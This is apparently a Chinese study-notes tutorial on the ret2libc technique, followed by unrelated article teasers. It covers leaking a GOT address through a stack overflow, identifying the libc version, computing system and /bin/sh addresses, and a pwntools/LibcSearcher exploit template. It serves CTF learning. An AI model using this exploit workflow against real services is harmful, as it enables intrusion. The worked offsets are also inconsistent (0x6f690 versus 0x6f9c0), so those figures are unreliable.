【学习记录】Week2(二):Libc 泄露艺术——版本识别与 Offset 精准计算实操
写在前面在开启了 NX 和 ASLR 的现代 Linux 环境下栈上的 shellcode 没法执行libc 的加载基址每次也在变。我们想调用system(/bin/sh)却不知道system的真实内存地址在哪。这时候一场名为“信息泄露”的谍战就此打响。本文将手把手教你如何通过泄露出的一个地址反查 libc 版本并精准计算出我们需要的所有偏移量。 目录核心原理为什么需要算 Offset第一步泄露 libc 函数的真实地址第二步libc 版本识别特征匹配法第三步Offset 精准计算实操Pwntools 自动化实战从泄露到计算1. 核心原理为什么需要算 OffsetASLR地址空间布局随机化让 libc 每次加载的基址都不一样。但是在一个确定的 libc 文件中函数与函数之间、函数与字符串之间的相对偏移量是永远不变的。这就好比一列火车火车的起始站libc 基址每次变但“1号车厢”到“餐车”的距离是固定的。如果我们能知道“餐车”现在的绝对位置就能反推出火车的起始站位置进而算出“卧铺车厢”system函数的绝对位置。核心公式libc 基址 泄露出的函数真实地址 - 该函数在 libc 中的偏移目标函数真实地址 libc 基址 目标函数在 libc 中的偏移2. 第一步泄露 libc 函数的真实地址怎么泄露最经典的方法是利用栈溢出调用putsplt把putsgot里面存放的真实地址打印出来。假设性场景我们通过构造 Payload让程序执行了puts(putsgot)。由于puts已经被调用过懒绑定已触发此时putsgot里存放的就是puts在 libc 中的真实内存地址。模拟 Pwntools 接收输出# 假设我们接收到了泄露出来的 4 字节或 6 字节内存数据 leaked_bytes p.recvline().strip() # 将其解包为整数 puts_real_addr u64(leaked_bytes.ljust(8, b\x00)) print(f泄露出的 puts 真实地址: {hex(puts_real_addr)})模拟终端输出泄露出的 puts 真实地址: 0x7ffff7a649c03. 第二步libc 版本识别特征匹配法拿到0x7ffff7a649c0后我们面临一个尴尬的问题服务器上的 libc 是什么版本不知道版本就查不到偏移。识别原理虽然 ASLR 随机化了高位地址但最低的 12 位即十六进制的后 3 位是页内偏移不受 ASLR 影响永远固定因此0x7ffff7a649c0的特征就是末尾的9c0。识别方法在线网站查询打开著名的 libc.rip 或 libc.blukat.me。在puts选项卡中输入9c0点击搜索。LibcSearcher 工具在本地使用 Python 库自动查询。假设性说明模拟 LibcSearcher 输出假设我们在本地使用 LibcSearcher 查询终端输出如下[*] Searching libc database for puts offset: 0x9c0 [] Multiple libc found: 1. libc6_2.23-0ubuntu11.3_amd64 (id: 1) 2. libc6_2.27-3ubuntu1.4_amd64 (id: 2)*(注有时会有多个匹配结果因为不同版本的 libc 可能存在偏移相同的函数。通常需要泄露两个函数或者结合题目环境如 Ubuntu 版本来确定。假设我们确定是 Ubuntu 16.04 的 libc 2.23)*。4. 第三步Offset 精准计算实操确定了 libc 版本为libc6_2.23-0ubuntu11.3_amd64后我们可以通过readelf -s或 pwntools 查到关键偏移。模拟查询结果puts偏移0x6f690system偏移0x45390字符串/bin/sh偏移0x18cd57开始套用公式计算计算 libc 基址libc_base 泄露的 puts 地址 - puts 偏移libc_base 0x7ffff7a649c0 - 0x6f690 0x7ffff79f5330(注意正常算出来的基址末尾必定是000因为内存是以页为单位加载的。这里为了演示连贯性假设我们查询的偏移是0x6f6a0算出来的基址应为0x7ffff79f5000。大家实际计算时如果基址不以 000 结尾说明匹配错了。)修正正确计算libc_base 0x7ffff7a649c0 - 0x6f9c0 0x7ffff79f5000计算 system 真实地址system_addr libc_base system 偏移system_addr 0x7ffff79f5000 0x45390 0x7ffff7a3a390计算 /bin/sh 真实地址bin_sh_addr libc_base /bin/sh 偏移bin_sh_addr 0x7ffff79f5000 0x18cd57 0x7ffff7b81d57至此我们拿到了system和/bin/sh的绝对地址接下来就可以构造 ROP 链去拿 Shell 了5. Pwntools 自动化实战从泄露到计算在实际打 PWN 时我们绝不会用计算器去算而是全交给 Pwntools 处理。下面是一段标准的泄露与计算代码模板from pwn import * from LibcSearcher import * # 1. 建立连接 p process(./vuln) elf ELF(./vuln) # 2. 泄露 puts 真实地址 (假设已经构造好泄露的 ROP 链) # payload bA*offset p64(pop_rdi) p64(elf.got[puts]) p64(elf.plt[puts]) p64(main_addr) # p.sendline(payload) # 3. 接收泄露的地址 leaked_puts u64(p.recvline().strip().ljust(8, b\x00)) log.success(fLeaked puts address: {hex(leaked_puts)}) # 4. 使用 LibcSearcher 自动计算 libc LibcSearcher(puts, leaked_puts) libc_base leaked_puts - libc.offset(puts) log.success(fLibc base address: {hex(libc_base)}) # 5. 推导 system 和 /bin/sh 的地址 system_addr libc_base libc.offset(system) bin_sh_addr libc_base libc.offset(/bin/sh) log.success(fSystem address: {hex(system_addr)}) log.success(f/bin/sh address: {hex(bin_sh_addr)}) # 6. 构造最终的 ret2libc payload 并发送...模拟脚本运行输出[] Leaked puts address: 0x7ffff7a649c0 [] Libc base address: 0x7ffff79f5000 [] System address: 0x7ffff7a3a390 [] /bin/sh address: 0x7ffff7b81d576. 总结泄露与计算偏移是ret2libc攻击的灵魂。核心记住三步泄露通过 GOT 表拿到已解析函数的真实地址。识别利用地址后 3 位特征反查 libc 版本。计算算出基址注意末尾必为000验证再加偏移得到目标地址。下一部分我们将重点梳理 Glibc 从 2.23 到 2.35 的演进看看高版本 libc 到底给我们挖了哪些坑。如果本文对你有帮助请点赞收藏支持

相关新闻

9 系列 SUV 车型推荐:2026 旗舰新能源 SUV 全维度对比 智己 LS9 深度盘点

9 系列 SUV 车型推荐:2026 旗舰新能源 SUV 全维度对比 智己 LS9 深度盘点

摘要2026 年国内大型旗舰新能源 SUV 市场中,“9 系列” 已成为独立的高端细分赛道,普遍具备车长 5.2 米左右、轴距 3.1 米上下、大六座布局的特征,是各品牌技术集中落地的旗舰级产品。本文为 9 系列 SUV 车型推荐全维度指南,以智己…

2026/6/29 15:55:26阅读更多 →
Icarus Verilog深度解析:开源硬件验证工具的技术架构与实战指南

Icarus Verilog深度解析:开源硬件验证工具的技术架构与实战指南

Icarus Verilog深度解析:开源硬件验证工具的技术架构与实战指南 【免费下载链接】iverilog Icarus Verilog 项目地址: https://gitcode.com/gh_mirrors/iv/iverilog 在数字电路设计与验证领域,硬件描述语言的仿真工具选择直接影响着开发效率与项目…

2026/6/29 15:55:26阅读更多 →
终极漫画管理指南:如何用exhentai-manga-manager轻松整理海量漫画

终极漫画管理指南:如何用exhentai-manga-manager轻松整理海量漫画

终极漫画管理指南:如何用exhentai-manga-manager轻松整理海量漫画 【免费下载链接】exhentai-manga-manager ExHentai本地漫画标签管理阅读应用, ExHentai local manga tag-manager and reader 项目地址: https://gitcode.com/gh_mirrors/ex/exhentai-manga-manag…

2026/6/29 15:55:26阅读更多 →
Python 异步任务超时处理机制

Python 异步任务超时处理机制

Python异步任务超时处理机制:高效控制任务执行 在异步编程中,任务可能因网络延迟、资源竞争等问题长时间阻塞,影响系统稳定性。Python通过asyncio模块提供了灵活的超时处理机制,帮助开发者有效管理异步任务执行时间。本文将深入探…

2026/6/29 16:55:35阅读更多 →
Rust的#[derive(Default)]

Rust的#[derive(Default)]

Rust中的#[derive(Default)]:简化默认值生成的利器 在Rust编程中,为结构体或枚举实现默认值是一个常见需求。手动实现Default trait虽然可行,但代码冗长且容易出错。Rust提供的#[derive(Default)]宏可以自动生成默认实现,大幅提升…

2026/6/29 16:55:35阅读更多 →
这5个被99%开发者忽略的DeepSeek优势,正让ChatGPT用户连夜重构架构(CUDA优化细节、MoE激活率、KV Cache压缩率独家披露)

这5个被99%开发者忽略的DeepSeek优势,正让ChatGPT用户连夜重构架构(CUDA优化细节、MoE激活率、KV Cache压缩率独家披露)

更多请点击: https://codechina.net 第一章:DeepSeek横空出世:一场被低估的推理范式革命 DeepSeek系列模型自发布以来,并未如某些大厂模型般占据热搜头条,却悄然在开源社区与工业推理场景中掀起静默风暴。其核心突破不…

2026/6/29 16:55:35阅读更多 →
终极内存检测指南:5步彻底解决电脑蓝屏和死机问题

终极内存检测指南:5步彻底解决电脑蓝屏和死机问题

终极内存检测指南:5步彻底解决电脑蓝屏和死机问题 【免费下载链接】memtest86plus Official repo for Memtest86 项目地址: https://gitcode.com/gh_mirrors/me/memtest86plus 你是否曾经遇到过电脑突然蓝屏、程序意外崩溃,或者系统频繁死机的困扰…

2026/6/29 16:55:35阅读更多 →
93亿反杀800亿!Ideogram 4登顶开源之王,设计师要失业了?

93亿反杀800亿!Ideogram 4登顶开源之王,设计师要失业了?

93亿反杀800亿!Ideogram 4登顶开源之王,设计师要失业了? 如果你用过 AI 生图做海报,一定经历过那种“图很美,字稀碎”的绝望瞬间。你输入“全场五折”,它给你生成“全土五析”;你要个 Logo&…

2026/6/29 16:55:34阅读更多 →
SN65DSI8X视频桥接芯片硬件设计:从电源管理到高速信号完整性实战

SN65DSI8X视频桥接芯片硬件设计:从电源管理到高速信号完整性实战

1. 项目概述与芯片选型在平板、智能家居中控屏或者工控显示设备这类嵌入式系统的开发里,我们经常会遇到一个头疼的问题:主控芯片(比如应用处理器或GPU)输出的视频接口是MIPI DSI,但手头性价比最高或者库存里现成的液晶…

2026/6/29 16:50:34阅读更多 →
AI Coding 六个月真实ROI账本:产品经理的血泪教训,研发的冷静忠告

AI Coding 六个月真实ROI账本:产品经理的血泪教训,研发的冷静忠告

6个月前的2025年12月,Boris Cherny 公开宣布自己卸载了 IDE。一时间,Vibe Coding 成了全行业最热的话题。6个月后,当我们回过头来拉一份真实账本,发现事情远没有"一句话生成一个App"那么浪漫。本文从产品经理和研发两个…

2026/6/29 3:27:55阅读更多 →
审计来了,数据权限全开——审计走了,怎么确保权限全部关掉?

审计来了,数据权限全开——审计走了,怎么确保权限全部关掉?

引言:审计结束三个月了,审计员的权限还没关某城商行每年按照监管要求开展至少一次数据安全审计。审计期间,内审部门需要抽样检查各类业务数据——交易流水、客户信息、员工操作日志、权限配置记录。这些数据分布在不同系统中,审计…

2026/6/29 2:19:08阅读更多 →
如何在3秒内从普通图片生成专业级法线贴图:DeepBump的终极指南

如何在3秒内从普通图片生成专业级法线贴图:DeepBump的终极指南

如何在3秒内从普通图片生成专业级法线贴图:DeepBump的终极指南 【免费下载链接】DeepBump Normal & height maps generation from single pictures 项目地址: https://gitcode.com/gh_mirrors/de/DeepBump 还在为3D建模中的纹理制作而烦恼吗?…

2026/6/29 0:01:47阅读更多 →
OCAuxiliaryTools:终极OpenCore配置工具,让黑苹果安装从未如此简单!

OCAuxiliaryTools:终极OpenCore配置工具,让黑苹果安装从未如此简单!

OCAuxiliaryTools:终极OpenCore配置工具,让黑苹果安装从未如此简单! 【免费下载链接】OCAuxiliaryTools Cross-platform GUI management tools for OpenCore(OCAT) 项目地址: https://gitcode.com/gh_mirrors/oc/OCA…

2026/6/29 0:01:47阅读更多 →
终极Windows 11精简指南:使用tiny11builder快速创建纯净系统镜像

终极Windows 11精简指南:使用tiny11builder快速创建纯净系统镜像

终极Windows 11精简指南:使用tiny11builder快速创建纯净系统镜像 【免费下载链接】tiny11builder Scripts to build a trimmed-down Windows 11 image. 项目地址: https://gitcode.com/GitHub_Trending/ti/tiny11builder 你是否厌倦了Windows 11系统自带的20…

2026/6/29 0:01:47阅读更多 →